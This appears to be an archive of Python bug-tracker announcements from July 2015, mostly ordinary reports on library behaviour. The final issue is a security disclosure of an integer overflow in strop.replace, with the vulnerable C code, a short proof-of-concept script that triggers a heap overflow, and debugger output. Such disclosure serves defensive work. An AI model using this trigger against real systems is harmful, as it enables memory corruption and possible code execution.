The source code is hard wired with a keyword argument dict_setitem=dict.__setitem__ which it then calls at the end with dict_setitem(self, key, value)

A quick search of github for dict_setitem shows that this
bad practice seems be making its way into other projects

If dict_setitem keyword arg is really necessary to have, then maybe:

    (a) have it default to None
    (b) at the end of __setitem__ do something like:

        if dict_setitem is not None:
            return dict_setitem(self, key, value)
        
        super(OrderedDict, self).__setitem__(key, value)

After a discussion on #py-dev this seemed like a reasonable request (not necessarily the implementation, but the idea that OrderedDict should cooperate).
I tested this against the C implementation of OrderedDict in Python 3.5 and noticed that it doesn't cooperate either.


[1] https://www.youtube.com/watch?v=EiOglTERPEo
[2] https://rhettinger.wordpress.com/2011/05/26/super-considered-super/

----------
components: Library (Lib)
files: inj.py
messages: 247136
nosy: eric.frederich, eric.snow, rhettinger
priority: normal
severity: normal
status: open
title: collections.OrderedDict collaborative subclassing
versions: Python 2.7, Python 3.5
Added file: http://bugs.python.org/file39982/inj.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24685>
_______________________________________

From report at bugs.python.org  Wed Jul 22 19:16:22 2015
From: report at bugs.python.org (Devin Fisher)
Date: Wed, 22 Jul 2015 17:16:22 +0000
Subject: [New-bugs-announce] [issue24686] zipfile is intolerant of extra
	bytes
Message-ID: <1437585382.21.0.339790988945.issue24686@psf.upfronthosting.co.za>


New submission from Devin Fisher:

Not sure if this is a bug. The attached jar file is malformed.  Unzip (6.00) says the following about the malformedness of the jar file:

unzip -tqq bad.jar 
com/pixelmed/apps/DoseUtility$OurSourceDatabaseTreeBrowser$1.class bad extra-field entry:
      EF block length (43230 bytes) exceeds remaining EF data (10 bytes)


But unzip (6.00) and my GNOME Archive Manager (3.16.3) are able to open and extract the file without issue. 

So I'm wondering if zipfile is too strict?

Anyway, when trying to interact with attached jar file I get the following error.

Code:
import zipfile
if __name__ == "__main__":
    path = 'bad.jar'
    file = zipfile.ZipFile(path)

Output:
Traceback (most recent call last):
  File "/home/devin.fisher/sandboxes/feeder.v61_release.dev/temp/bug.py", line 4, in <module>
    file = zipfile.ZipFile(path)
  File "/usr/lib64/python3.4/zipfile.py", line 937, in __init__
    self._RealGetContents()
  File "/usr/lib64/python3.4/zipfile.py", line 1034, in _RealGetContents
    x._decodeExtra()
  File "/usr/lib64/python3.4/zipfile.py", line 418, in _decodeExtra
    counts = unpack('<QQQ', extra[4:28])
struct.error: unpack requires a bytes object of length 24

----------
components: Library (Lib)
files: bad.jar
messages: 247137
nosy: Devin Fisher
priority: normal
severity: normal
status: open
title: zipfile is intolerant of extra bytes
type: behavior
versions: Python 3.4
Added file: http://bugs.python.org/file39983/bad.jar

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24686>
_______________________________________

From report at bugs.python.org  Thu Jul 23 00:09:17 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 22 Jul 2015 22:09:17 +0000
Subject: [New-bugs-announce] [issue24687] refleak on SyntaxError in function
	parameter annotation
Message-ID: <1437602957.63.0.089802664911.issue24687@psf.upfronthosting.co.za>


New submission from Yury Selivanov:

A simple way of reproducing the issue is to try to compile the following piece of code with refleaks check mode on:

   def foo(a:(yield)): pass

Since '(yield)' expression is outside of a function, it will trigger a SyntaxError.

There is a subtle bug in compile.c though, specifically in compiler_visit_argannotation method; it should return -1 in case of error, but the VISIT macro it uses returns 0 on errors.

Attached patch uses 'compiler_visit_expr' directly returning correct error code.

----------
components: Interpreter Core
files: compile.patch
keywords: patch
messages: 247153
nosy: benjamin.peterson, ncoghlan, yselivanov
priority: high
severity: normal
stage: patch review
status: open
title: refleak on SyntaxError in function parameter annotation
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file39985/compile.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24687>
_______________________________________

From report at bugs.python.org  Thu Jul 23 00:13:43 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 22 Jul 2015 22:13:43 +0000
Subject: [New-bugs-announce] [issue24688] Fix ast.get_docstring to support
	'async def' functions
Message-ID: <1437603223.58.0.585645745269.issue24688@psf.upfronthosting.co.za>


New submission from Yury Selivanov:

Please see the attached patch.

----------
components: Library (Lib)
files: compile.patch
keywords: patch
messages: 247154
nosy: benjamin.peterson, georg.brandl, yselivanov
priority: high
severity: normal
stage: patch review
status: open
title: Fix ast.get_docstring to support 'async def' functions
type: enhancement
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file39986/compile.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24688>
_______________________________________

From report at bugs.python.org  Thu Jul 23 06:36:49 2015
From: report at bugs.python.org (Carol Willing)
Date: Thu, 23 Jul 2015 04:36:49 +0000
Subject: [New-bugs-announce] [issue24689] Add tips for effective online
	communication to devguide
Message-ID: <1437626209.97.0.982042727918.issue24689@psf.upfronthosting.co.za>


New submission from Carol Willing:

To keep the scope of issue<24682> focused on the Quick Start sections of the devguide, I am creating this issue to add a new subsection 12.4 ("Tips for effective online communication") to devguide/communication.

The following are suggestions for this new subsection:
* msg<247161> email tips from python-dev post
* msg<247162> content and links to mailman
* msg<247096> suggestions for python-dev and python-ideas
* link to devguide/coredev#responsibilities
* link to devguide/faq#communications

----------
components: Devguide
messages: 247165
nosy: brett.cannon, ezio.melotti, sjt, willingc
priority: normal
severity: normal
stage: needs patch
status: open
title: Add tips for effective online communication to devguide
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24689>
_______________________________________

From report at bugs.python.org  Thu Jul 23 08:43:33 2015
From: report at bugs.python.org (Kyle Huey)
Date: Thu, 23 Jul 2015 06:43:33 +0000
Subject: [New-bugs-announce] [issue24690] find_executable should expand ~
Message-ID: <1437633813.51.0.56388179288.issue24690@psf.upfronthosting.co.za>


New submission from Kyle Huey:

It would be nice if find_executable("~/path/to/my/local/build/of/a/binary") would work.

----------
components: Distutils
messages: 247176
nosy: Kyle Huey, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: find_executable should expand ~
versions: Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24690>
_______________________________________

From report at bugs.python.org  Thu Jul 23 11:44:12 2015
From: report at bugs.python.org (=?utf-8?q?Jan_St=C3=BCrtz?=)
Date: Thu, 23 Jul 2015 09:44:12 +0000
Subject: [New-bugs-announce] [issue24691] out of memory in distutils.upload
	with large files
Message-ID: <1437644652.98.0.268496303546.issue24691@psf.upfronthosting.co.za>


New submission from Jan St?rtz:

We tried to upload a very large (350MB) bdist egg via distutils to our internal package server. 
And received following crash.

Traceback (most recent call last):
  File "setup.py", line 1, in <module>
    import os
  File "C:\devel\cdb\10.1.tag\cdb\python\cdb\comparch\pkgtools.py", line 120, in setup
    def setup(**kwargs):
  File "C:\devel\cdb\10.1.tag\win32\debug\img\lib\distutils\core.py", line 60, in setup
    def setup(**attrs):
  File "C:\devel\cdb\10.1.tag\win32\debug\img\lib\distutils\dist.py", line 947, in run_commands
    def run_commands(self):
  File "C:\devel\cdb\10.1.tag\win32\debug\img\lib\distutils\dist.py", line 957, in run_command
    def run_command(self, command):
  File "C:\devel\cdb\10.1.tag\win32\debug\img\lib\distutils\command\upload.py", line 56, in run
    def run(self):
  File "C:\devel\cdb\10.1.tag\win32\debug\img\lib\distutils\command\upload.py", line 154, in upload_file
    body.write('\r\nContent-Disposition: form-data; name="%s"' % key)
MemoryError: out of memory

A patch could be very easy using tempfile.SpooledTemporaryFile()

----------
components: Distutils
messages: 247179
nosy: Jan.St?rtz, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: out of memory in distutils.upload with large files
type: crash
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24691>
_______________________________________

From report at bugs.python.org  Thu Jul 23 13:21:42 2015
From: report at bugs.python.org (Antoine Pietri)
Date: Thu, 23 Jul 2015 11:21:42 +0000
Subject: [New-bugs-announce] [issue24692] types.coroutines() idempotence
	documentation
Message-ID: <1437650502.32.0.0288592289227.issue24692@psf.upfronthosting.co.za>


New submission from Antoine Pietri:

In the new types.coroutines() documentation, it is not clearly stated whether this function is idempotent or not: what happens when it is called on a function that is already a native coroutine?

----------
assignee: docs at python
components: Documentation
messages: 247184
nosy: docs at python, seirl
priority: normal
severity: normal
status: open
title: types.coroutines() idempotence documentation
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24692>
_______________________________________

From report at bugs.python.org  Thu Jul 23 14:23:44 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 23 Jul 2015 12:23:44 +0000
Subject: [New-bugs-announce] [issue24693] zipfile: change RuntimeError to
 more appropriate exception type
Message-ID: <1437654224.43.0.502488912035.issue24693@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

RuntimeError is raised in the zipfile module in many cases where more appropriate exception type is expected. Proposed patch changes a number of RuntimeErrors to one of BadZipFile, NotImplementedError, or ValueError. Only changing to NotImplementedError is backward compatible (NotImplementedError is subclass of RuntimeError), other changes are not.

----------
components: Library (Lib)
files: zipfile_exceptions.patch
keywords: patch
messages: 247189
nosy: alanmcintyre, ned.deily, ronaldoussoren, serhiy.storchaka, twouters
priority: normal
severity: normal
stage: patch review
status: open
title: zipfile: change RuntimeError to more appropriate exception type
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file39994/zipfile_exceptions.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24693>
_______________________________________

From report at bugs.python.org  Thu Jul 23 15:43:04 2015
From: report at bugs.python.org (=?utf-8?q?Charles-Fran=C3=A7ois_Natali?=)
Date: Thu, 23 Jul 2015 13:43:04 +0000
Subject: [New-bugs-announce] [issue24694] callables registered in
 TestCase.addCleanup should be run before tearDown
Message-ID: <1437658984.72.0.371299012028.issue24694@psf.upfronthosting.co.za>


New submission from Charles-Fran?ois Natali:

Consider this code:

-----------------------------------------------------
from __future__ import print_function

from pyccp.unittest import SafeTestCase


class MyTest(SafeTestCase):

    def setUp(self):
        print("setUp")

    def tearDown(self):
        print("tearDown")

    def test(self):
        print("creating")
        self.addCleanup(lambda: print("destroying"))
-----------------------------------------------------


When run:

setUp
creating
tearDown
destroying


We lose the LIFO ordering between between setUP and addCleanup, which is highly counter-intuitive, and almost always incorrect (despite addCleanup being docuemented to be run after tearDown).

----------
components: Library (Lib)
messages: 247196
nosy: neologix
priority: normal
severity: normal
status: open
title: callables registered in TestCase.addCleanup should be run before tearDown
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24694>
_______________________________________

From report at bugs.python.org  Thu Jul 23 16:42:19 2015
From: report at bugs.python.org (=?utf-8?q?Adam_Barto=C5=A1?=)
Date: Thu, 23 Jul 2015 14:42:19 +0000
Subject: [New-bugs-announce] [issue24695] Don't print traceback header if
	traceback is None
Message-ID: <1437662539.63.0.637524686399.issue24695@psf.upfronthosting.co.za>


New submission from Adam Barto?:

The documentation of traceback.print_exception says "if traceback is not None, it prints a header Traceback (most recent call last):". That also meant that the header wasn't printed if traceback was None. However, the new Python 3.5 TracebackException object always prints the header.

----------
components: Library (Lib)
messages: 247208
nosy: Drekin
priority: normal
severity: normal
status: open
title: Don't print traceback header if traceback is None
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24695>
_______________________________________

From report at bugs.python.org  Thu Jul 23 16:52:20 2015
From: report at bugs.python.org (=?utf-8?q?Adam_Barto=C5=A1?=)
Date: Thu, 23 Jul 2015 14:52:20 +0000
Subject: [New-bugs-announce] [issue24696] Don't use None as sentinel for
	traceback
Message-ID: <1437663140.05.0.49769295759.issue24696@psf.upfronthosting.co.za>


New submission from Adam Barto?:

There is a subtle bug in Python 3.4 implementation of traceback library:

>>> import traceback
>>>
>>> try:
...     1 / 0
... except Exception as e:
...     exc = e
...
>>> traceback.print_exception(exc.__class__, exc, exc.__traceback__)
Traceback (most recent call last):
  File "<stdin>", line 2, in <module>
ZeroDivisionError: division by zero
>>> 
>>> traceback.print_exception(exc.__class__, exc, None)
Traceback (most recent call last):
  File "<stdin>", line 2, in <module>
ZeroDivisionError: division by zero
>>> 
>>> traceback.print_exception(exc.__class__, exc, None, chain=False)
ZeroDivisionError: division by zero

As can be seen, giving None traceback is ignored if chain == True. This is because None is incorrectly used as a sentinel value in traceback._iter_chain (see line 135).

Note that this bug is fixed in Python 3.5 since there is a new implementation of traceback module using TracebackException objects. Will this be backported to Python 3.4? Otherwise, the bug itself should be fixed anyway.

----------
components: Library (Lib)
messages: 247210
nosy: Drekin
priority: normal
severity: normal
status: open
title: Don't use None as sentinel for traceback
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24696>
_______________________________________

From report at bugs.python.org  Thu Jul 23 17:10:15 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 23 Jul 2015 15:10:15 +0000
Subject: [New-bugs-announce] [issue24697] Add CoroutineReturn and
 CoroutineExit builtin exceptions for coroutines
Message-ID: <1437664215.74.0.89761121939.issue24697@psf.upfronthosting.co.za>


New submission from Yury Selivanov:

Since native coroutines (see PEP 492) hadn't had a separate type when the PEP was accepted, we didn't discuss that it might be necessary to introduce new exception types specifically for coroutines.

To maintain backwards compatibility with 3.5, I think we can do the following:

1. Add CoroutineReturn exception type, inherited from StopIteration;

2. Add CoroutineExit exception type, inherited from GeneratorExit.

----------
assignee: yselivanov
components: Interpreter Core
messages: 247214
nosy: gvanrossum, ncoghlan, yselivanov
priority: normal
severity: normal
status: open
title: Add CoroutineReturn and CoroutineExit builtin exceptions for coroutines
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24697>
_______________________________________

From report at bugs.python.org  Thu Jul 23 19:19:38 2015
From: report at bugs.python.org (Alex Budovski)
Date: Thu, 23 Jul 2015 17:19:38 +0000
Subject: [New-bugs-announce] [issue24698] get_externals.bat script fails
Message-ID: <1437671978.74.0.066435093939.issue24698@psf.upfronthosting.co.za>


New submission from Alex Budovski:

The svn commands need to be wrapped with "call", otherwise the batch interpreter hangs. Attached simple fix.

----------
files: externalsfix.diff
keywords: patch
messages: 247223
nosy: Alex Budovski
priority: normal
severity: normal
status: open
title: get_externals.bat script fails
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file39997/externalsfix.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24698>
_______________________________________

From report at bugs.python.org  Fri Jul 24 00:51:03 2015
From: report at bugs.python.org (Ilya Kulakov)
Date: Thu, 23 Jul 2015 22:51:03 +0000
Subject: [New-bugs-announce] [issue24699] TemporaryDirectory is cleaned up
	twice
Message-ID: <1437691863.88.0.795764975498.issue24699@psf.upfronthosting.co.za>


New submission from Ilya Kulakov:

I'm seeing the issue using python 3.4.3 on Windows 8

In the __init__.py method of my package I define temporary directory at the module level like this:

_TempDir = tempfile.TemporaryDirectory(prefix='...'))
tempfile.tempdir = _TempDir.name


I expect it to be deleted on exit.

However, _sometimes_, I'm seeing the following exception on exit:

Traceback (most recent call last):
  File ":/weakref.pyo", line 582, in _exitfunc
  File ":/weakref.pyo", line 506, in __call__
  File ":/tempfile.pyo", line 674, in _cleanup
  File ":/shutil.pyo", line 478, in rmtree
  File ":/shutil.pyo", line 360, in _rmtree_unsafe
  File ":/shutil.pyo", line 358, in _rmtree_unsafe
FileNotFoundError: [WinError 3] The system cannot find the path specified: 'C:\\
Users\\BC79~1\\AppData\\Local\\Temp\\..._s9wqmyo_'

----------
messages: 247233
nosy: Ilya.Kulakov
priority: normal
severity: normal
status: open
title: TemporaryDirectory is cleaned up twice
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24699>
_______________________________________

From report at bugs.python.org  Fri Jul 24 01:01:14 2015
From: report at bugs.python.org (swanson)
Date: Thu, 23 Jul 2015 23:01:14 +0000
Subject: [New-bugs-announce] [issue24700] array compare is hideously slow
Message-ID: <1437692474.17.0.61027224315.issue24700@psf.upfronthosting.co.za>


New submission from swanson:

Comparing two array.array objects is much slower than it ought to be.

The whole point of array.array is to be efficient:
 "array ? Efficient arrays of numeric values"

But comparing them is orders of magnitude less efficient than comparing tuples or lists of numbers.  It would seem that array's __eq__ is converting every single number into an int, float, etc. first instead of just comparing the arrays in their native format.
If arrays can be copied efficiently, and bytearray can be copied or compared efficiently, there's no good reason for array's equality test to be so stupid.

example code:
-------------

from timeit import timeit

setup = '''
from array import array
a = array("I", %s)
ac = a.__copy__
b = ac()
t = tuple(a)
u = t[:1] + t[1:]
'''
for init in ("[1]*10", "[0xffffffff]*10", "[1]*1000", "[0xffffffff]*1000"):
 print("\n", init)
 for action in ("ac()", "a == b", "a == ac()", "t == u"):
  print(("%6.2f" % timeit(action, setup % init)), action)


results:
--------

 [1]*10
  0.31 ac()
  0.50 a == b
  0.73 a == ac()
  0.17 t == u

 [0xffffffff]*10
  0.29 ac()
  1.59 a == b
  1.87 a == ac()
  0.15 t == u

 [1]*1000
  0.84 ac()
 37.06 a == b
 37.72 a == ac()
  2.91 t == u

 [0xffffffff]*1000
  0.84 ac()
146.03 a == b
145.97 a == ac()
  2.90 t == u

----------
components: Library (Lib)
messages: 247234
nosy: swanson
priority: normal
severity: normal
status: open
title: array compare is hideously slow
type: performance
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24700>
_______________________________________

From report at bugs.python.org  Fri Jul 24 04:41:18 2015
From: report at bugs.python.org (annoywife)
Date: Fri, 24 Jul 2015 02:41:18 +0000
Subject: [New-bugs-announce] [issue24701] list.pop() removes items from
	multiple lists
Message-ID: <1437705678.14.0.753601931437.issue24701@psf.upfronthosting.co.za>


New submission from annoywife:

When executing the following code, I would expect the 3 to be removed from "list_copy" while "list_original" remains unaltered.  However, list_copy.pop() removes the 3 from both lists.  If an index is specified for pop, this behavior occurs as well.

list_original = [1,2,3]
list_copy = list_original
list_copy.pop()

Please let me know if I can provide any other information.

----------
components: IDLE, Windows
messages: 247239
nosy: annoywife, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: list.pop() removes items from multiple lists
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24701>
_______________________________________

From report at bugs.python.org  Fri Jul 24 05:51:11 2015
From: report at bugs.python.org (pankaj.s01)
Date: Fri, 24 Jul 2015 03:51:11 +0000
Subject: [New-bugs-announce] [issue24702] Uninitialised Pointer buf.outobj
Message-ID: <1437709871.22.0.396517280297.issue24702@psf.upfronthosting.co.za>


New submission from pankaj.s01:

Hi ,
Reporting an issue of uninitialized  pointer "buf.outobj" in python-2.7.x .
I have attached patch ,please check and review it.

Thanks!

----------
components: Extension Modules, Library (Lib)
files: Python-2.7.10-multibytecodec.patch
keywords: patch
messages: 247243
nosy: pankaj.s01
priority: normal
severity: normal
status: open
title: Uninitialised Pointer buf.outobj
versions: Python 2.7
Added file: http://bugs.python.org/file40003/Python-2.7.10-multibytecodec.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24702>
_______________________________________

From report at bugs.python.org  Fri Jul 24 06:42:36 2015
From: report at bugs.python.org (pankaj.s01)
Date: Fri, 24 Jul 2015 04:42:36 +0000
Subject: [New-bugs-announce] [issue24703] Resource Leak
Message-ID: <1437712956.47.0.356892785544.issue24703@psf.upfronthosting.co.za>


New submission from pankaj.s01:

Hi,
There is an issue of resource leak of file descriptor "outFile" in Python-2.7.10 ,file :Python-2.7.10/Modules/_bsddb.c:3456.
variable "outFile" is going out of scope which leaks the storage.So need to close file before return on error.
I have attached the patch ,please check and review it.

thanks!

----------
components: Extension Modules, Library (Lib)
files: Python-2.7.10_bsddb.patch
keywords: patch
messages: 247249
nosy: benjamin.peterson, pankaj.s01
priority: normal
severity: normal
status: open
title: Resource Leak
versions: Python 2.7
Added file: http://bugs.python.org/file40004/Python-2.7.10_bsddb.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24703>
_______________________________________

From report at bugs.python.org  Fri Jul 24 09:49:29 2015
From: report at bugs.python.org (Pankaj Sharma)
Date: Fri, 24 Jul 2015 07:49:29 +0000
Subject: [New-bugs-announce] [issue24704] Dereferencing  a Null Pointer
Message-ID: <1437724169.48.0.168989772331.issue24704@psf.upfronthosting.co.za>


New submission from Pankaj Sharma:

Hi,
Reporting bugs for dereferencing a pointer "m"  might be NULL.
the respective patch have been attached ,please check and review it.

thanks!

----------
components: Extension Modules, Library (Lib)
files: Python-2.7.10-json.patch
keywords: patch
messages: 247262
nosy: benjamin.peterson, pankaj.s01
priority: normal
severity: normal
status: open
title: Dereferencing  a Null Pointer
type: crash
versions: Python 2.7
Added file: http://bugs.python.org/file40005/Python-2.7.10-json.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24704>
_______________________________________

From report at bugs.python.org  Fri Jul 24 14:13:00 2015
From: report at bugs.python.org (Matthias Klose)
Date: Fri, 24 Jul 2015 12:13:00 +0000
Subject: [New-bugs-announce] [issue24705] sysconfig._parse_makefile doesn't
 expand ${} vars appearing before $() vars
Message-ID: <1437739980.61.0.17161588188.issue24705@psf.upfronthosting.co.za>


New submission from Matthias Klose:

LIPL has the value

  ${prefix}/lib/python3.5/config-$(VERSION)$(ABIFLAGS)-x86_64-linux-gnu

and the code relies to substitute parameters from the left to the right, but it prefers $() variables. the attached patch substitutes all variables from the left to the right.

diff -r d8229c26dd92 Lib/sysconfig.py
--- a/Lib/sysconfig.py	Fri Jul 24 09:05:59 2015 +0300
+++ b/Lib/sysconfig.py	Fri Jul 24 14:04:57 2015 +0200
@@ -260,7 +260,12 @@
     while len(variables) > 0:
         for name in tuple(variables):
             value = notdone[name]
-            m = _findvar1_rx.search(value) or _findvar2_rx.search(value)
+            m1 = _findvar1_rx.search(value)
+            m2 = _findvar2_rx.search(value)
+            if m1 and m2:
+                m = m1 if m1.start() < m2.start() else m2
+	    else:
+                m = m1 if m1 else m2
             if m is not None:
                 n = m.group(1)
                 found = True

----------
assignee: doko
components: Library (Lib)
messages: 247272
nosy: doko
priority: normal
severity: normal
status: open
title: sysconfig._parse_makefile doesn't expand ${} vars appearing before $() vars
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24705>
_______________________________________

From report at bugs.python.org  Fri Jul 24 17:24:32 2015
From: report at bugs.python.org (Chris Smowton)
Date: Fri, 24 Jul 2015 15:24:32 +0000
Subject: [New-bugs-announce] [issue24706] poplib: Line too long error causes
 knock-on failure to retrieve all subsequent messages
Message-ID: <1437751472.65.0.0474991915095.issue24706@psf.upfronthosting.co.za>


New submission from Chris Smowton:

As mentioned in #23906, when poplib bails from receiving a message with a 'line too long' error it neither flushes nor re-establishes the TCP connection. This means that subsequent commands fail because instead of the expected response we receive part of the unflushed data from the message that triggered the original error.

----------
components: Library (Lib)
messages: 247283
nosy: Chris Smowton
priority: normal
severity: normal
status: open
title: poplib: Line too long error causes knock-on failure to retrieve all subsequent messages
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24706>
_______________________________________

From report at bugs.python.org  Fri Jul 24 17:53:37 2015
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 24 Jul 2015 15:53:37 +0000
Subject: [New-bugs-announce] [issue24707] Assertion failed in pymonotonic_new
Message-ID: <1437753217.88.0.997352550114.issue24707@psf.upfronthosting.co.za>


New submission from Berker Peksag:

>From http://buildbot.python.org/all/builders/AMD64%20Debian%20root%203.x/builds/2436:

python: Python/pytime.c:633: pymonotonic_new: Assertion `!last_set || last <= *tp' failed.
Fatal Python error: Aborted

Full log is here: http://buildbot.python.org/all/builders/AMD64%20Debian%20root%203.x/builds/2436/steps/test/logs/stdio

----------
components: Interpreter Core
messages: 247288
nosy: berker.peksag, haypo
priority: normal
severity: normal
status: open
title: Assertion failed in pymonotonic_new
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24707>
_______________________________________

From report at bugs.python.org  Fri Jul 24 18:26:20 2015
From: report at bugs.python.org (John Leitch)
Date: Fri, 24 Jul 2015 16:26:20 +0000
Subject: [New-bugs-announce] [issue24708] strop.replace Integer Overflow
Message-ID: <1437755180.21.0.715068940174.issue24708@psf.upfronthosting.co.za>


New submission from John Leitch:

The Python strop.replace() method suffers from an integer overflow that can be exploited to write outside the bounds of the string buffer and potentially achieve code execution. The issue can be triggered by performing a large substitution that overflows the arithmetic used in mymemreplace() to calculate the size of the new string:

static char *
mymemreplace(const char *str, Py_ssize_t len,           /* input string */
         const char *pat, Py_ssize_t pat_len,           /* pattern string to find */
         const char *sub, Py_ssize_t sub_len,           /* substitution string */
         Py_ssize_t count,                              /* number of replacements */
         Py_ssize_t *out_len)
{
    [...]

    new_len = len + nfound*(sub_len - pat_len); <<<< Unchecked arithmetic can overflow here.
    if (new_len == 0) {
        /* Have to allocate something for the caller to free(). */
        out_s = (char *)PyMem_MALLOC(1);
        if (out_s == NULL)
            return NULL;
        out_s[0] = '\0';
    }
    else {
        assert(new_len > 0);
        new_s = (char *)PyMem_MALLOC(new_len); <<<< An allocation is performed using overflowed value.
        if (new_s == NULL)
            return NULL;
        out_s = new_s;

        for (; count > 0 && len > 0; --count) { <<<< Memory is copied to new_s using len, which can be greater than the overflowed new_len value.
            /* find index of next instance of pattern */
            offset = mymemfind(str, len, pat, pat_len);
            if (offset == -1)
                break;

            /* copy non matching part of input string */
            memcpy(new_s, str, offset);
            str += offset + pat_len;
            len -= offset + pat_len;

            /* copy substitute into the output string */
            new_s += offset;
            memcpy(new_s, sub, sub_len);
            new_s += sub_len;
        }
        /* copy any remaining values into output string */
        if (len > 0)
            memcpy(new_s, str, len);
    }
    [...]
}

The following script demonstrates the issue:

import strop
strop.replace("\x75"*0xEAAA,"\x75","AA"*0xAAAA)

When run under a debugger, it produces the following exception:

0:000> r
eax=01e4cfd0 ebx=5708fc94 ecx=00003c7a edx=00000000 esi=01e3dde8 edi=57096000
eip=7026ae7a esp=0027fc98 ebp=0027fca0 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
MSVCR90!memcpy+0x5a:
7026ae7a f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> db edi-0x10
57095ff0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
57096000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
57096060  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000> db esi
01e3dde8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3ddf8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de08  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de18  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de28  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de38  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de48  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01e3de58  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> k
ChildEBP RetAddr  
0027fca0 1e056efc MSVCR90!memcpy+0x5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
0027fcd0 1e05700b python27!mymemreplace+0xfc [c:\build27\cpython\modules\stropmodule.c @ 1139]
0027fd18 1e0aaed7 python27!strop_replace+0xbb [c:\build27\cpython\modules\stropmodule.c @ 1185]
0027fd30 1e0edcc0 python27!PyCFunction_Call+0x47 [c:\build27\cpython\objects\methodobject.c @ 81]
0027fd5c 1e0f012a python27!call_function+0x2b0 [c:\build27\cpython\python\ceval.c @ 4035]
0027fdcc 1e0f1100 python27!PyEval_EvalFrameEx+0x239a [c:\build27\cpython\python\ceval.c @ 2684]
0027fe00 1e0f1162 python27!PyEval_EvalCodeEx+0x690 [c:\build27\cpython\python\ceval.c @ 3267]
0027fe2c 1e1170ca python27!PyEval_EvalCode+0x22 [c:\build27\cpython\python\ceval.c @ 674]
0027fe44 1e118215 python27!run_mod+0x2a [c:\build27\cpython\python\pythonrun.c @ 1371]
0027fe64 1e1187b0 python27!PyRun_FileExFlags+0x75 [c:\build27\cpython\python\pythonrun.c @ 1358]
0027fea4 1e119129 python27!PyRun_SimpleFileExFlags+0x190 [c:\build27\cpython\python\pythonrun.c @ 950]
